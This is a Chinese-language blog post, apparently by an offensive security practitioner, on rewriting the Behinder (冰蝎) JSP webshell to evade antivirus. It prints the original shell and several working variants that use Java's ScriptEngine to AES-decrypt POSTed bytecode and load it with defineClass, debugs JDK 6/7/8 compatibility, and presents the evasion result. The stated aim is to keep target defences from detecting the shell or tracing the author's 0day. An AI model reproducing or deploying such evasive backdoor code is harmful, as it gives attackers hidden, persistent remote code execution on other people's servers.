冰蝎客户端改写

​ 漏洞利用后一般需要拿shell,如果shell不免杀可能容易触发目标的防护,甚至去溯源捕获我们的0day,所以做一个免杀的shell是有必要的,今天刚好看到一种新型Java一句话木马的实现文章,可以通过ScriptEngine来执行我们的代码,由于这种方式执行代码的语法和之前jsp马的实现有些不同,所以可以通过这种方式改写shell来实现免杀。

​ 在要通过ScriptEngine改写shell之前,首先我们要了解冰蝎shell做了什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{ //定义类U并继承ClassLoader
U(ClassLoader c){
super(c) // 构造方法,执行父类ClassLoader的构造方法
;}
public Class g(byte []b){ //执行defineClass方法
return super.defineClass(b,0,b.length);}
}%>
<%
if (request.getMethod().equals("POST")){ //判断请求类型
String k="e45e329feb5d925b";
session.putValue("u",k); //将key写入到session
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //初始化AES解码器
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())) //将接收的内容base64解码后进行aes解密
) //创建ClassLoader对象,并调用ClassLoader.defineClass方法将接收的字节码转换为class类。
.newInstance().equals(pageContext);}%> //创建该类对象并调用该对象的equals方法

​ 下面了解下如何通过ScriptEngine执行JS代码,DEMO如下:

1
2
3
ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
String test666="print(2+2)";
engine.eval(test666);

​ 下面实现Import的功能,由于JDK8使用importPackage需要通过load进行导入mozilla_compat.js,但JDK7则没有load函数,所以使用下面的语句import在JDK7下运行会报错。

1
2
3
ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
String test666="load(\"nashorn:mozilla_compat.js\");importPackage(\"java.util.*,javax.crypto.*,javax.crypto.spec.*\")";
engine.eval(test666);

​ 可以在load语句处加上异常处理,那么无论load执行是否成功都不会影响后续程序的执行,所以导入数据包的代码如下。

1
2
3
4
5
6
7
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);

​ 按照冰蝎shell的代码,接下来要定义一个类并实现ClassLoader,但是查了下ScriptEngine的文档,好像没有定义类的操作,但我们仔细想想,其实也不是非要定义一个类不可,只不过是想调用defineClass加载我们传入的类的字节码,所以我们可以直接通过反射调用defineClass方法。下面代码参考一种新型Java一句话木马的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor().newInstance();
}

​ 由于冰蝎客户端需要一些对象,所以在创建ScriptEngine后需要绑定对象。

1
2
3
4
5
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.put("session", session);
engine.put("pageContext", pageContext);

​ 剩下的似乎没有什么难点,我直接给出我改写后的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor().newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k="39236cce7e199d43";
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
}

​ 在使用的时候遇到了一个BUG,第一次请求正常,第二次请求会爆类重复加载的异常。

image-20210619171644662

​ 经过排错,当通过反射调用时,每次调用defineClass使用的是WebAppClassLoader,这个Loader对于每个web应用是唯一的,下一次再去请求defineClass就会导致重复加载。

image-20210621164620593

​ 而使用冰蝎自带的马去请求,每次请求都会创建一个新的classloader,所以不会出现重复加载类的异常。

image-20210621164844859

image-20210621165042946

​ 所以现在实现思路为在JSP中首先使用JAVA代码创建一个继承了ClassLoader的类,创建一个该类的对象,并将对象进行绑定,在JS中调用该对象定义的方法,下面是我在jdk8的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var defineClassMethod =test2.getClass().getDeclaredMethod(
"g",
classBytes.getClass()
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
test2,
classBytes
);
cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k="39236cce7e199d43";
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
}

​ 但在JDK6和7使用的解析引擎和JDK8是不同的,上面的代码不能使用,经过兼容性的修改,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var defineClassMethod =test2.getClass().getDeclaredMethod("g",classBytes.getClass());
defineClassMethod.setAccessible(true);
var cc=defineClassMethod.invoke(test2,classBytes);
cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k=new java.lang.String("39236cce7e199d43");
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));
}

​ 但这样实现会在invoke是爆一个类型转换异常。

image-20210622141931784

​ 经过排错,问题主要在sun.org.mozilla.javascript.internal.NativeJavaMethod#call函数中 ,这里会将我们反射方法需要的参数转换为Object[],但实际上我们传入的是byte[],byte[]显然不能转为Object[]。

image-20210622142124037

​ 又经过复杂的排错,发现是JS类型和JAVA的类型转换出现了错误,将classBytes通过new Array()转换一下就可以了,下面的代码兼容JDK7\8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){

var defineClassMethod =test2.getClass().getDeclaredMethod("g",classBytes.getClass());
print(defineClassMethod)
defineClassMethod.setAccessible(true);
var cc=defineClassMethod.invoke(test2,new Array(classBytes));

cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k=new java.lang.String("39236cce7e199d43");
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));
}

​ 最后看下免杀效果。

image-20210622153106003

总结

​ 刚开始实现的时候以为这个实现很简单,没想到实际操作的时候遇到了很多问题,最终在瓜哥的指导下成功解决了版本兼容的问题。

参考